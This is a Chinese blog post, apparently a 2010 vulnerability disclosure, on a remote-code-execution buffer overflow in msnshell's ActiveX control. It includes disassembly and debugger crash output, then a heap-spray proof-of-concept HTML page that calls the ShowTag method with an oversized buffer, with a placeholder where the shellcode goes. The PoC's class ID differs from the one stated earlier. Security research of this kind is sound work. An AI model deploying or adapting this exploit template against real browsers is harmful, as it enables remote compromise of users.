IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

msnshell远程代码执行漏洞

鬼仔's Blog 2010-11-01 20:06:17 累计浏览 2,548 次
本机暂存

简要描述:
msnshell是国内一款多功能的msn辅助工具,有着方便而强大聊天加密功能,使其用户群非常广泛,但是该应用有一些已存在多年的远程代码执行漏洞。

详细说明:
问题出在msnshell的activex控件上
ClassID : 20FD1EBC-A607-4C18-9F18-0233EF4D7234
File : MSNShellSDK.dll

ShowTag以及其他部分参数对数据长度的过滤不足,当长度为540字节左右的时候造成缓冲区溢出,控制程序流程。

PS:不只是这一个参数有漏洞!

以下是代码片段:
7C923297    FF75 14         push    dword ptr [ebp+14] 

7C92329A    FF75 10         push    dword ptr [ebp+10] 

7C92329D    FF75 0C         push    dword ptr [ebp+C] 

7C9232A0    FF75 08         push    dword ptr [ebp+8] 

7C9232A3    8B4D 18         mov     ecx, dword ptr [ebp+18] 

7C9232A6    FFD1            call    ecx   <-- exploit it! 

7C9232A8    64:8B25 0000000>mov     esp, dword ptr fs:[0] 

7C9232AF    64:8F05 0000000>pop     dword ptr fs:[0] 

7C9232B6    8BE5            mov     esp, ebp 

7C9232B8    5D              pop     ebp 

7C9232B9    C2 1400         retn    14 

eax=7ffd3000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 

eip=7c92120e esp=0118ffcc ebp=0118fff4 iopl=0         nv up ei pl zr na po nc 

cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246 

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\W 

INDOWS\system32\ntdll.dll - 

ntdll!DbgBreakPoint: 

7c92120e cc               int     3 

0:007> g 

url:ModLoad: 753b0000 75421000   C:\WINDOWS\system32\mshtmled.dll 

url:ModLoad: 76320000 76367000   C:\WINDOWS\system32\comdlg32.dll 

ModLoad: 76960000 76984000   C:\WINDOWS\system32\ntshrui.dll 

ModLoad: 76af0000 76b01000   C:\WINDOWS\system32\ATL.DLL 

ModLoad: 759d0000 75a7f000   C:\WINDOWS\system32\USERENV.dll 

ModLoad: 76950000 76958000   C:\WINDOWS\system32\LINKINFO.dll 

url:ModLoad: 76b10000 76b3a000   C:\WINDOWS\system32\WINMM.dll 

ModLoad: 5dba0000 5dba8000   C:\WINDOWS\system32\rdpsnd.dll 

ModLoad: 762d0000 762e0000   C:\WINDOWS\system32\WINSTA.dll 

ModLoad: 76f20000 76f28000   C:\WINDOWS\system32\Wtsapi32.dll 

ModLoad: 72c80000 72c88000   C:\WINDOWS\system32\msacm32.drv 

ModLoad: 77bb0000 77bc5000   C:\WINDOWS\system32\MSACM32.dll 

ModLoad: 03070000 0311f000   C:\PROGRA~1\MSNShell\BIN\MSNSHE~1.DLL 

ModLoad: 5efe0000 5eff7000   C:\WINDOWS\system32\olepro32.dll 

ModLoad: 75bc0000 75c3d000   C:\WINDOWS\system32\JScript.dll 

Access violation - code c0000005 (first chance) 

eax=41414141 ebx=41414141 ecx=00000000 edx=41414141 esi=0012dfc8 edi=00000000 

eip=030746b0 esp=0012dea8 ebp=0012e0d4 iopl=0         nv up ei pl nz na po nc 

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206 

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\P 

ROGRA~1\MSNShell\BIN\MSNSHE~1.DLL - 

MSNSHE~1+46b0: 

030746b0 8b40fc           mov     eax,[eax-0x4]     ds:0023:4141413d=???????? 

0:000> g 

Access violation - code c0000005 (first chance) 

eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000 

eip=41414141 esp=0012dad8 ebp=0012daf8 iopl=0         nv up ei pl zr na po nc 

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246 

41414141 ??               ??? 

0:000> d eip 

41414141  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414151  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414161  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414171  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414181  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

41414191  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

414141a1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

414141b1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ???????????????? 

0:000>

原图已失效

漏洞证明:
POC很简单,让程序call到0x0c0c0c0c去,使用堆喷射技术即可。

以下是代码片段:
<html> 

<object classid="clsid:BFB06F62-190C-42F6-91B1-3CB03560FE2D" id=’target’></object> 

<body> 

<SCRIPT language="JavaScript"> 

var shellcode = unescape("you shellcode is here"); 

var bigblock = unescape("%u0C0C%u0C0C"); 

var headersize = 20; 

var slackspace = headersize+shellcode.length; 

while (bigblock.length<slackspace) bigblock+=bigblock; 

fillblock = bigblock.substring(0, slackspace); 

block = bigblock.substring(0, bigblock.length-slackspace); 

while(block.length+slackspace<0x40000) block = block+block+fillblock; 

memory = new Array(); 

for (x=0; x<350; x++) memory[x] = block +shellcode; 

var buffer = ’’; 

while (buffer.length < 540 ) buffer+=’\x0C\x0C\x0C\x0C’; 

target.ShowTag(buffer); 

</script> 

</body> 

</html>

修复方案:
you know.

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. 为什么说基于ActiveX的“安全控件”一定是不安全的 (累计阅读 3,456)
  2. 使用JS做文档处理 (累计阅读 3,007)
  3. Flash真的适合做网站应用吗? (累计阅读 2,917)